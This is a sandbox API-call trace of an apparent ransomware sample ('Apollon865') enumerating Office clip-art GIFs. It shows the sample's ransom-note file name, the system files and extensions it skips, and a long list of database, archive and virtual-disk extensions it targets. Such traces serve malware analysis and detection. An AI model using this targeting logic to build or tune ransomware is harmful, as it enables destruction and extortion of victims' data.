	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="sdc") returned -1
	[0074.060] lstrlenW (lpString="sdf") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="sdf") returned -1
	[0074.060] lstrlenW (lpString="sis") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="sis") returned -1
	[0074.060] lstrlenW (lpString="spq") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="spq") returned -1
	[0074.060] lstrlenW (lpString="te") returned 2
	[0074.060] lstrcmpiW (lpString1="IF", lpString2="te") returned -1
	[0074.060] lstrlenW (lpString="teacher") returned 7
	[0074.060] lstrcmpiW (lpString1="743.GIF", lpString2="teacher") returned -1
	[0074.060] lstrlenW (lpString="tmd") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="tmd") returned -1
	[0074.060] lstrlenW (lpString="tps") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="tps") returned -1
	[0074.060] lstrlenW (lpString="trc") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1
	[0074.060] lstrlenW (lpString="trc") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="trc") returned -1
	[0074.060] lstrlenW (lpString="trm") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="trm") returned -1
	[0074.060] lstrlenW (lpString="udb") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="udb") returned -1
	[0074.060] lstrlenW (lpString="udl") returned 3
	[0074.060] lstrcmpiW (lpString1="GIF", lpString2="udl") returned -1
	[0074.061] lstrlenW (lpString="usr") returned 3
	[0074.061] lstrcmpiW (lpString1="GIF", lpString2="usr") returned -1
	[0074.061] lstrlenW (lpString="v12") returned 3
	[0074.061] lstrcmpiW (lpString1="GIF", lpString2="v12") returned -1
	[0074.061] lstrlenW (lpString="vis") returned 3
	[0074.061] lstrcmpiW (lpString1="GIF", lpString2="vis") returned -1
	[0074.061] lstrlenW (lpString="vpd") returned 3
	[0074.061] lstrcmpiW (lpString1="GIF", lpString2="vpd") returned -1
	[0074.061] lstrlenW (lpString="vvv") returned 3
	[0074.061] lstrcmpiW (lpString1="GIF", lpString2="vvv") returned -1
	[0074.061] lstrlenW (lpString="wdb") returned 3
	[0074.061] lstrcmpiW (lpString1="GIF", lpString2="wdb") returned -1
	[0074.061] lstrlenW (lpString="wmdb") returned 4
	[0074.061] lstrcmpiW (lpString1=".GIF", lpString2="wmdb") returned -1
	[0074.061] lstrlenW (lpString="wrk") returned 3
	[0074.061] lstrcmpiW (lpString1="GIF", lpString2="wrk") returned -1
	[0074.061] lstrlenW (lpString="xdb") returned 3
	[0074.061] lstrcmpiW (lpString1="GIF", lpString2="xdb") returned -1
	[0074.061] lstrlenW (lpString="xld") returned 3
	[0074.061] lstrcmpiW (lpString1="GIF", lpString2="xld") returned -1
	[0074.061] lstrlenW (lpString="xmlff") returned 5
	[0074.061] lstrcmpiW (lpString1="3.GIF", lpString2="xmlff") returned -1
	[0074.061] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ed3400, ftCreationTime.dwHighDateTime=0x1bd9b11, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4ed3400, ftLastWriteTime.dwHighDateTime=0x1bd9b11, nFileSizeHigh=0x0, nFileSizeLow=0x2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0143744.GIF", cAlternateFileName="")) returned 1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="Apollon865.txt.exe") returned 1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2=".") returned 1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="..") returned 1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="windows") returned -1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="bootmgr") returned 1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="temp") returned -1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="pagefile.sys") returned -1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="boot") returned 1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="ids.txt") returned 1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="ntuser.dat") returned -1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="perflogs") returned -1
	[0074.061] lstrcmpiW (lpString1="J0143744.GIF", lpString2="MSBuild") returned -1
	[0074.061] lstrlenW (lpString="J0143744.GIF") returned 12
	[0074.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\J0143743.GIF") returned 76
	[0074.062] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="J0143744.GIF" | out: lpString1="J0143744.GIF") returned="J0143744.GIF"
	[0074.062] lstrlenW (lpString="J0143744.GIF") returned 12
	[0074.062] lstrlenW (lpString="Apollon865") returned 10
	[0074.062] lstrcmpiW (lpString1="143744.GIF", lpString2="Apollon865") returned -1
	[0074.062] lstrlenW (lpString=".dll") returned 4
	[0074.062] lstrcmpiW (lpString1="J0143744.GIF", lpString2=".dll") returned 1
	[0074.062] lstrlenW (lpString=".lnk") returned 4
	[0074.062] lstrcmpiW (lpString1="J0143744.GIF", lpString2=".lnk") returned 1
	[0074.062] lstrlenW (lpString=".ini") returned 4
	[0074.062] lstrcmpiW (lpString1="J0143744.GIF", lpString2=".ini") returned 1
	[0074.062] lstrlenW (lpString=".sys") returned 4
	[0074.062] lstrcmpiW (lpString1="J0143744.GIF", lpString2=".sys") returned 1
	[0074.062] lstrlenW (lpString="J0143744.GIF") returned 12
	[0074.062] lstrlenW (lpString="bak") returned 3
	[0074.062] lstrcmpiW (lpString1="GIF", lpString2="bak") returned 1
	[0074.062] lstrlenW (lpString="ba_") returned 3
	[0074.062] lstrcmpiW (lpString1="GIF", lpString2="ba_") returned 1
	[0074.062] lstrlenW (lpString="dbb") returned 3
	[0074.062] lstrcmpiW (lpString1="GIF", lpString2="dbb") returned 1
	[0074.062] lstrlenW (lpString="vmdk") returned 4
	[0074.062] lstrcmpiW (lpString1=".GIF", lpString2="vmdk") returned -1
	[0074.062] lstrlenW (lpString="rar") returned 3
	[0074.062] lstrcmpiW (lpString1="GIF", lpString2="rar") returned -1
	[0074.062] lstrlenW (lpString="zip") returned 3
	[0074.062] lstrcmpiW (lpString1="GIF", lpString2="zip") returned -1
	[0074.062] lstrlenW (lpString="tgz") returned 3
	[0074.062] lstrcmpiW (lpString1="GIF", lpString2="tgz") returned -1
	[0074.062] lstrlenW (lpString="vbox") returned 4
	[0074.062] lstrcmpiW (lpString1=".GIF", lpString2="vbox") returned -1
	[0074.062] lstrlenW (lpString="vdi") returned 3
	[0074.062] lstrcmpiW (lpString1="GIF", lpString2="vdi") returned -1
	[0074.062] lstrlenW (lpString="vhd") returned 3
	[0074.062] lstrcmpiW (lpString1="GIF", lpString2="vhd") returned -1
	[0074.062] lstrlenW (lpString="vhdx") returned 4
	[0074.062] lstrcmpiW (lpString1=".GIF", lpString2="vhdx") returned -1
	[0074.062] lstrlenW (lpString="avhd") returned 4
	[0074.062] lstrcmpiW (lpString1=".GIF", lpString2="avhd") returned -1
	[0074.063] lstrlenW (lpString="db") returned 2
	[0074.063] lstrcmpiW (lpString1="IF", lpString2="db") returned 1
	[0074.063] lstrlenW (lpString="db2") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="db2") returned 1
	[0074.063] lstrlenW (lpString="db3") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="db3") returned 1
	[0074.063] lstrlenW (lpString="dbf") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="dbf") returned 1
	[0074.063] lstrlenW (lpString="mdf") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="mdf") returned -1
	[0074.063] lstrlenW (lpString="mdb") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="mdb") returned -1
	[0074.063] lstrlenW (lpString="sql") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="sql") returned -1
	[0074.063] lstrlenW (lpString="sqlite") returned 6
	[0074.063] lstrcmpiW (lpString1="44.GIF", lpString2="sqlite") returned -1
	[0074.063] lstrlenW (lpString="sqlite3") returned 7
	[0074.063] lstrcmpiW (lpString1="744.GIF", lpString2="sqlite3") returned -1
	[0074.063] lstrlenW (lpString="sqlitedb") returned 8
	[0074.063] lstrcmpiW (lpString1="3744.GIF", lpString2="sqlitedb") returned -1
	[0074.063] lstrlenW (lpString="xml") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="xml") returned -1
	[0074.063] lstrlenW (lpString="$er") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="$er") returned 1
	[0074.063] lstrlenW (lpString="4dd") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="4dd") returned 1
	[0074.063] lstrlenW (lpString="4dl") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="4dl") returned 1
	[0074.063] lstrlenW (lpString="^^^") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="^^^") returned 1
	[0074.063] lstrlenW (lpString="abs") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="abs") returned 1
	[0074.063] lstrlenW (lpString="abx") returned 3
	[0074.063] lstrcmpiW (lpString1="GIF", lpString2="abx") returned 1
	[0074.063] lstrlenW (lpString="accdb") returned 5
	[0074.063] lstrcmpiW (lpString1="4.GIF", lpString2="accdb") returned -1
	[0074.064] lstrlenW (lpString="accdc") returned 5
	[0074.064] lstrcmpiW (lpString1="4.GIF", lpString2="accdc") returned -1
	[0074.064] lstrlenW (lpString="accde") returned 5
	[0074.064] lstrcmpiW (lpString1="4.GIF", lpString2="accde") returned -1
	[0074.064] lstrlenW (lpString="accdr") returned 5
	[0074.064] lstrcmpiW (lpString1="4.GIF", lpString2="accdr") returned -1
	[0074.064] lstrlenW (lpString="accdt") returned 5
	[0074.064] lstrcmpiW (lpString1="4.GIF", lpString2="accdt") returned -1
	[0074.064] lstrlenW (lpString="accdw") returned 5
	[0074.064] lstrcmpiW (lpString1="4.GIF", lpString2="accdw") returned -1
	[0074.064] lstrlenW (lpString="accft") returned 5
	[0074.064] lstrcmpiW (lpString1="4.GIF", lpString2="accft") returned -1
	[0074.064] lstrlenW (lpString="adb") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1
	[0074.064] lstrlenW (lpString="adb") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="adb") returned 1
	[0074.064] lstrlenW (lpString="ade") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="ade") returned 1
	[0074.064] lstrlenW (lpString="adf") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="adf") returned 1
	[0074.064] lstrlenW (lpString="adn") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="adn") returned 1
	[0074.064] lstrlenW (lpString="adp") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="adp") returned 1
	[0074.064] lstrlenW (lpString="alf") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="alf") returned 1
	[0074.064] lstrlenW (lpString="ask") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="ask") returned 1
	[0074.064] lstrlenW (lpString="btr") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="btr") returned 1
	[0074.064] lstrlenW (lpString="cat") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="cat") returned 1
	[0074.064] lstrlenW (lpString="cdb") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="cdb") returned 1
	[0074.064] lstrlenW (lpString="ckp") returned 3
	[0074.064] lstrcmpiW (lpString1="GIF", lpString2="ckp") returned 1
	[0074.064] lstrlenW (lpString="cma") returned 3
	[0074.065] lstrcmpiW (lpString1="GIF", lpString2="cma") returned 1
	[0074.065] lstrlenW (lpString="cpd") returned 3
	[0074.065] lstrcmpiW (lpString1="GIF", lpString2="cpd") returned 1
	[0074.065] lstrlenW (lpString="dacpac") returned 6
	[0074.065] lstrcmpiW (lpString1="44.GIF", lpString2="dacpac") returned -1
	[0074.065] lstrlenW (lpString="dad") returned 3
	[0074.065] lstrcmpiW (lpString1="GIF", lpString2="dad") returned 1
	[0074.065] lstrlenW (lpString="dadiagrams") returned 10
	[0074.065] lstrcmpiW (lpString1="143744.GIF", lpString2="dadiagrams") returned -1
	[0074.065] lstrlenW (lpString="daschema") returned 8
	[0074.065] lstrcmpiW (lpString1="3744.GIF", lpString2="daschema") returned -1
	[0074.065] lstrlenW (lpString="db-journal") returned 10
	[0074.065] lstrcmpiW (lpString1="143744.GIF", lpString2="db-journal") returned -1
	[0074.065] lstrlenW (lpString="db-shm") returned 6
	[0074.065] lstrcmpiW (lpString1="44.GIF", lpString2="db-shm") returned -1
	[0074.065] lstrlenW (lpString="db-wal") returned 6
	[0074.065] lstrcmpiW (lpString1="44.GIF", lpString2="db-wal") returned -1
	[0074.065] lstrlenW (lpString="dbc") returned 3
	[0074.065] lstrcmpiW (lpString1="GIF", lpString2="dbc") returned 1
	[0074.065] lstrlenW (lpString="dbs") returned 3
	[0074.065] lstrcmpiW (lpString1="GIF", lpString2="dbs") returned 1
	[0074.065] lstrlenW (lpString="dbt") returned 3
	[0074.065] lstrcmpiW (lpString1="GIF", lpString2="dbt") returned 1
	[0074.065] lstrlenW (lpString="dbv") returned 3
	[0074.065] lstrcmpiW (lpString1="GIF", lpString2="dbv") returned 1
	[0074.065] lstrlenW (lpString="dbx") returned 3
	[0074.065] lstrcmpiW (lpString1="GIF", lpString2="dbx") returned 1
	[0074.065] lstrlenW (lpString="dcb") returned 3
	[0074.065] lstrcmpiW (lpString1="GIF", lpString2="dcb") returned 1
	[0074.065] lstrcmpiW (lpString1="GIF", lpString2="dct") returned 1
	[0074.066] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="J0143745.GIF" | out: lpString1="J0143745.GIF") returned="J0143745.GIF"
	[0074.066] lstrlenW (lpString="J0143745.GIF") returned 12
	[0074.066] lstrlenW (lpString="Apollon865") returned 10
	[0074.066] lstrcmpiW (lpString1="143745.GIF", lpString2="Apollon865") returned -1
	[0074.066] lstrlenW (lpString=".dll") returned 4
	[0074.066] lstrcmpiW (lpString1="J0143745.GIF", lpString2=".dll") returned 1
	[0074.066] lstrlenW (lpString=".lnk") returned 4
	[0074.066] lstrcmpiW (lpString1="J0143745.GIF", lpString2=".lnk") returned 1
	[0074.066] lstrlenW (lpString=".ini") returned 4
	[0074.066] lstrcmpiW (lpString1="J0143745.GIF", lpString2=".ini") returned 1
	[0074.066] lstrlenW (lpString=".sys") returned 4
	[0074.066] lstrcmpiW (lpString1="J0143745.GIF", lpString2=".sys") returned 1
	[0074.066] lstrlenW (lpString="J0143745.GIF") returned 12
	[0074.066] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="J0143746.GIF" | out: lpString1="J0143746.GIF") returned="J0143746.GIF"
	[0074.066] lstrlenW (lpString="J0143746.GIF") returned 12
	[0074.066] lstrlenW (lpString="Apollon865") returned 10
	[0074.066] lstrcmpiW (lpString1="143746.GIF", lpString2="Apollon865") returned -1
	[0074.066] lstrlenW (lpString=".dll") returned 4
	[0074.066] lstrcmpiW (lpString1="J0143746.GIF", lpString2=".dll") returned 1
	[0074.066] lstrlenW (lpString=".lnk") returned 4
	[0074.066] lstrcmpiW (lpString1="J0143746.GIF", lpString2=".lnk") returned 1
	[0074.066] lstrlenW (lpString=".ini") returned 4
	[0074.066] lstrcmpiW (lpString1="J0143746.GIF", lpString2=".ini") returned 1
	[0074.066] lstrlenW (lpString=".sys") returned 4
	[0074.066] lstrcmpiW (lpString1="J0143746.GIF", lpString2=".sys") returned 1
	[0074.066] lstrlenW (lpString="J0143746.GIF") returned 12
	[0074.066] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="J0143748.GIF" | out: lpString1="J0143748.GIF") returned="J0143748.GIF"
	[0074.066] lstrlenW (lpString="J0143748.GIF") returned 12
	[0074.066] lstrlenW (lpString="Apollon865") returned 10
	[0074.066] lstrcmpiW (lpString1="143748.GIF", lpString2="Apollon865") returned -1
	[0074.066] lstrlenW (lpString=".dll") returned 4
	[0074.066] lstrcmpiW (lpString1="J0143748.GIF", lpString2=".dll") returned 1
	[0074.066] lstrlenW (lpString=".lnk") returned 4
	[0074.067] lstrcmpiW (lpString1="J0143748.GIF", lpString2=".lnk") returned 1
	[0074.067] lstrlenW (lpString=".ini") returned 4
	[0074.067] lstrcmpiW (lpString1="J0143748.GIF", lpString2=".ini") returned 1
	[0074.067] lstrlenW (lpString=".sys") returned 4
	[0074.067] lstrcmpiW (lpString1="J0143748.GIF", lpString2=".sys") returned 1
	[0074.067] lstrlenW (lpString="J0143748.GIF") returned 12
	[0074.067] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="J0143749.GIF" | out: lpString1="J0143749.GIF") returned="J0143749.GIF"
	[0074.067] lstrlenW (lpString="J0143749.GIF") returned 12
	[0074.067] lstrlenW (lpString="Apollon865") returned 10
	[0074.067] lstrcmpiW (lpString1="143749.GIF", lpString2="Apollon865") returned -1
	[0074.067] lstrlenW (lpString=".dll") returned 4
	[0074.067] lstrcmpiW (lpString1="J0143749.GIF", lpString2=".dll") returned 1
	[0074.067] lstrlenW (lpString=".lnk") returned 4
	[0074.067] lstrcmpiW (lpString1="J0143749.GIF", lpString2=".lnk") returned 1
	[0074.067] lstrlenW (lpString=".ini") returned 4
	[0074.067] lstrcmpiW (lpString1="J0143749.GIF", lpString2=".ini") returned 1
	[0074.067] lstrlenW (lpString=".sys") returned 4
	[0074.067] lstrcmpiW (lpString1="J0143749.GIF", lpString2=".sys") returned 1
	[0074.067] lstrlenW (lpString="J0143749.GIF") returned 12
	[0074.067] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="J0143750.GIF" | out: lpString1="J0143750.GIF") returned="J0143750.GIF"
	[0074.067] lstrlenW (lpString="J0143750.GIF") returned 12
	[0074.067] lstrlenW (lpString="Apollon865") returned 10
	[0074.067] lstrcmpiW (lpString1="143750.GIF", lpString2="Apollon865") returned -1
	[0074.067] lstrlenW (lpString=".dll") returned 4
	[0074.067] lstrcmpiW (lpString1="J0143750.GIF", lpString2=".dll") returned 1
	[0074.067] lstrlenW (lpString=".lnk") returned 4
	[0074.067] lstrcmpiW (lpString1="J0143750.GIF", lpString2=".lnk") returned 1
	[0074.067] lstrlenW (lpString=".ini") returned 4
	[0074.067] lstrcmpiW (lpString1="J0143750.GIF", lpString2=".ini") returned 1
	[0074.067] lstrlenW (lpString=".sys") returned 4
	[0074.067] lstrcmpiW (lpString1="J0143750.GIF", lpString2=".sys") returned 1
	[0074.067] lstrlenW (lpString="J0143750.GIF") returned 12
	[0074.068] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="J0143752.GIF" | out: lpString1="J0143752.GIF") returned="J0143752.GIF"
	[0074.068] lstrlenW (lpString="J0143752.GIF") returned 12
	[0074.068] lstrlenW (lpString="Apollon865") returned 10
	[0074.068] lstrcmpiW (lpString1="143752.GIF", lpString2="Apollon865") returned -1
	[0074.068] lstrlenW (lpString=".dll") returned 4
	[0074.068] lstrcmpiW (lpString1="J0143752.GIF", lpString2=".dll") returned 1
	[0074.068] lstrlenW (lpString=".lnk") returned 4
	[0074.068] lstrcmpiW (lpString1="J0143752.GIF", lpString2=".lnk") returned 1
	[0074.068] lstrlenW (lpString=".ini") returned 4
	[0074.068] lstrcmpiW (lpString1="J0143752.GIF", lpString2=".ini") returned 1
	[0074.068] lstrlenW (lpString=".sys") returned 4
	[0074.068] lstrcmpiW (lpString1="J0143752.GIF", lpString2=".sys") returned 1
	[0074.068] lstrlenW (lpString="J0143752.GIF") returned 12
	[0074.068] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="J0143753.GIF" | out: lpString1="J0143753.GIF") returned="J0143753.GIF"
	[0074.068] lstrlenW (lpString="J0143753.GIF") returned 12
	[0074.068] lstrlenW (lpString="Apollon865") returned 10
	[0074.068] lstrcmpiW (lpString1="143753.GIF", lpString2="Apollon865") returned -1
	[0074.068] lstrlenW (lpString=".dll") returned 4
	[0074.068] lstrcmpiW (lpString1="J0143753.GIF", lpString2=".dll") returned 1
	[0074.068] lstrlenW (lpString=".lnk") returned 4
	[0074.068] lstrcmpiW (lpString1="J0143753.GIF", lpString2=".lnk") returned 1
	[0074.068] lstrlenW (lpString=".ini") returned 4
	[0074.068] lstrcmpiW (lpString1="J0143753.GIF", lpString2=".ini") returned 1
	[0074.068] lstrlenW (lpString=".sys") returned 4
	[0074.068] lstrcmpiW (lpString1="J0143753.GIF", lpString2=".sys") returned 1
	[0074.068] lstrlenW (lpString="J0143753.GIF") returned 12
	[0074.068] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="J0143754.GIF" | out: lpString1="J0143754.GIF") returned="J0143754.GIF"
	[0074.068] lstrlenW (lpString="J0143754.GIF") returned 12
	[0074.068] lstrlenW (lpString="Apollon865") returned 10
	[0074.068] lstrcmpiW (lpString1="143754.GIF", lpString2="Apollon865") returned -1
	[0074.068] lstrlenW (lpString=".dll") returned 4
	[0074.069] lstrcmpiW (lpString1="J0143754.GIF", lpString2=".dll") returned 1
	[0074.069] lstrlenW (lpString=".lnk") returned 4
	[0074.069] lstrcmpiW (lpString1="J0143754.GIF", lpString2=".lnk") returned 1
	[0074.069] lstrlenW (lpString=".ini") returned 4
	[0074.069] lstrcmpiW (lpString1="J0143754.GIF", lpString2=".ini") returned 1
	[0074.069] lstrlenW (lpString=".sys") returned 4
	[0074.069] lstrcmpiW (lpString1="J0143754.GIF", lpString2=".sys") returned 1
	[0074.069] lstrlenW (lpString="J0143754.GIF") returned 12
	[0074.069] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="J0143758.GIF" | out: lpString1="J0143758.GIF") returned="J0143758.GIF"
	[0074.069] lstrlenW (lpString="J0143758.GIF") returned 12
	[0074.069] lstrlenW (lpString="Apollon865") returned 10
	[0074.069] lstrcmpiW (lpString1="143758.GIF", lpString2="Apollon865") returned -1
	[0074.069] lstrlenW (lpString=".dll") returned 4
	[0074.069] lstrcmpiW (lpString1="J0143758.GIF", lpString2=".dll") returned 1
	[0074.069] lstrlenW (lpString=".lnk") returned 4
	[0074.069] lstrcmpiW (lpString1="J0143758.GIF", lpString2=".lnk") returned 1
	[0074.069] lstrlenW (lpString=".ini") returned 4
	[0074.069] lstrcmpiW (lpString1="J0143758.GIF", lpString2=".ini") returned 1
	[0074.069] lstrlenW (lpString=".sys") returned 4
	[0074.069] lstrcmpiW (lpString1="J0143758.GIF", lpString2=".sys") returned 1
	[0074.069] lstrlenW (lpString="J0143758.GIF") returned 12
	[0074.069] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB00516L.GIF" | out: lpString1="WB00516L.GIF") returned="WB00516L.GIF"
	[0074.085] lstrlenW (lpString="WB00516L.GIF") returned 12
	[0074.085] lstrlenW (lpString="Apollon865") returned 10
	[0074.085] lstrcmpiW (lpString1="00516L.GIF", lpString2="Apollon865") returned -1
	[0074.085] lstrlenW (lpString=".dll") returned 4
	[0074.085] lstrcmpiW (lpString1="WB00516L.GIF", lpString2=".dll") returned 1
	[0074.085] lstrlenW (lpString=".lnk") returned 4
	[0074.085] lstrcmpiW (lpString1="WB00516L.GIF", lpString2=".lnk") returned 1
	[0074.085] lstrlenW (lpString=".ini") returned 4
	[0074.085] lstrcmpiW (lpString1="WB00516L.GIF", lpString2=".ini") returned 1
	[0074.085] lstrlenW (lpString=".sys") returned 4
	[0074.085] lstrcmpiW (lpString1="WB00516L.GIF", lpString2=".sys") returned 1
	[0074.085] lstrlenW (lpString="WB00516L.GIF") returned 12
	[0074.085] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB00531L.GIF" | out: lpString1="WB00531L.GIF") returned="WB00531L.GIF"
	[0074.085] lstrlenW (lpString="WB00531L.GIF") returned 12
	[0074.085] lstrlenW (lpString="Apollon865") returned 10
	[0074.085] lstrcmpiW (lpString1="00531L.GIF", lpString2="Apollon865") returned -1
	[0074.085] lstrlenW (lpString=".dll") returned 4
	[0074.086] lstrcmpiW (lpString1="WB00531L.GIF", lpString2=".dll") returned 1
	[0074.086] lstrlenW (lpString=".lnk") returned 4
	[0074.086] lstrcmpiW (lpString1="WB00531L.GIF", lpString2=".lnk") returned 1
	[0074.086] lstrlenW (lpString=".ini") returned 4
	[0074.086] lstrcmpiW (lpString1="WB00531L.GIF", lpString2=".ini") returned 1
	[0074.086] lstrlenW (lpString=".sys") returned 4
	[0074.086] lstrcmpiW (lpString1="WB00531L.GIF", lpString2=".sys") returned 1
	[0074.086] lstrlenW (lpString="WB00531L.GIF") returned 12
	[0074.086] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB00673L.GIF" | out: lpString1="WB00673L.GIF") returned="WB00673L.GIF"
	[0074.086] lstrlenW (lpString="WB00673L.GIF") returned 12
	[0074.086] lstrlenW (lpString="Apollon865") returned 10
	[0074.086] lstrcmpiW (lpString1="00673L.GIF", lpString2="Apollon865") returned -1
	[0074.086] lstrlenW (lpString=".dll") returned 4
	[0074.086] lstrcmpiW (lpString1="WB00673L.GIF", lpString2=".dll") returned 1
	[0074.086] lstrlenW (lpString=".lnk") returned 4
	[0074.086] lstrcmpiW (lpString1="WB00673L.GIF", lpString2=".lnk") returned 1
	[0074.086] lstrlenW (lpString=".ini") returned 4
	[0074.086] lstrcmpiW (lpString1="WB00673L.GIF", lpString2=".ini") returned 1
	[0074.086] lstrlenW (lpString=".sys") returned 4
	[0074.086] lstrcmpiW (lpString1="WB00673L.GIF", lpString2=".sys") returned 1
	[0074.086] lstrlenW (lpString="WB00673L.GIF") returned 12
	[0074.086] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB00703L.GIF" | out: lpString1="WB00703L.GIF") returned="WB00703L.GIF"
	[0074.086] lstrlenW (lpString="WB00703L.GIF") returned 12
	[0074.086] lstrlenW (lpString="Apollon865") returned 10
	[0074.086] lstrcmpiW (lpString1="00703L.GIF", lpString2="Apollon865") returned -1
	[0074.086] lstrlenW (lpString=".dll") returned 4
	[0074.086] lstrcmpiW (lpString1="WB00703L.GIF", lpString2=".dll") returned 1
	[0074.086] lstrlenW (lpString=".lnk") returned 4
	[0074.086] lstrcmpiW (lpString1="WB00703L.GIF", lpString2=".lnk") returned 1
	[0074.086] lstrlenW (lpString=".ini") returned 4
	[0074.086] lstrcmpiW (lpString1="WB00703L.GIF", lpString2=".ini") returned 1
	[0074.086] lstrlenW (lpString=".sys") returned 4
	[0074.087] lstrcmpiW (lpString1="WB00703L.GIF", lpString2=".sys") returned 1
	[0074.087] lstrlenW (lpString="WB00703L.GIF") returned 12
	[0074.087] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB00760L.GIF" | out: lpString1="WB00760L.GIF") returned="WB00760L.GIF"
	[0074.087] lstrlenW (lpString="WB00760L.GIF") returned 12
	[0074.087] lstrlenW (lpString="Apollon865") returned 10
	[0074.087] lstrcmpiW (lpString1="00760L.GIF", lpString2="Apollon865") returned -1
	[0074.087] lstrlenW (lpString=".dll") returned 4
	[0074.087] lstrcmpiW (lpString1="WB00760L.GIF", lpString2=".dll") returned 1
	[0074.087] lstrlenW (lpString=".lnk") returned 4
	[0074.087] lstrcmpiW (lpString1="WB00760L.GIF", lpString2=".lnk") returned 1
	[0074.087] lstrlenW (lpString=".ini") returned 4
	[0074.087] lstrcmpiW (lpString1="WB00760L.GIF", lpString2=".ini") returned 1
	[0074.087] lstrlenW (lpString=".sys") returned 4
	[0074.087] lstrcmpiW (lpString1="WB00760L.GIF", lpString2=".sys") returned 1
	[0074.087] lstrlenW (lpString="WB00760L.GIF") returned 12
	[0074.087] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB00780L.GIF" | out: lpString1="WB00780L.GIF") returned="WB00780L.GIF"
	[0074.087] lstrlenW (lpString="WB00780L.GIF") returned 12
	[0074.087] lstrlenW (lpString="Apollon865") returned 10
	[0074.087] lstrcmpiW (lpString1="00780L.GIF", lpString2="Apollon865") returned -1
	[0074.087] lstrlenW (lpString=".dll") returned 4
	[0074.087] lstrcmpiW (lpString1="WB00780L.GIF", lpString2=".dll") returned 1
	[0074.087] lstrlenW (lpString=".lnk") returned 4
	[0074.087] lstrcmpiW (lpString1="WB00780L.GIF", lpString2=".lnk") returned 1
	[0074.087] lstrlenW (lpString=".ini") returned 4
	[0074.087] lstrcmpiW (lpString1="WB00780L.GIF", lpString2=".ini") returned 1
	[0074.087] lstrlenW (lpString=".sys") returned 4
	[0074.087] lstrcmpiW (lpString1="WB00780L.GIF", lpString2=".sys") returned 1
	[0074.087] lstrlenW (lpString="WB00780L.GIF") returned 12
	[0074.087] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="WB01741L.GIF" | out: lpString1="WB01741L.GIF") returned="WB01741L.GIF"
	[0074.087] lstrlenW (lpString="WB01741L.GIF") returned 12
	[0074.087] lstrlenW (lpString="Apollon865") returned 10
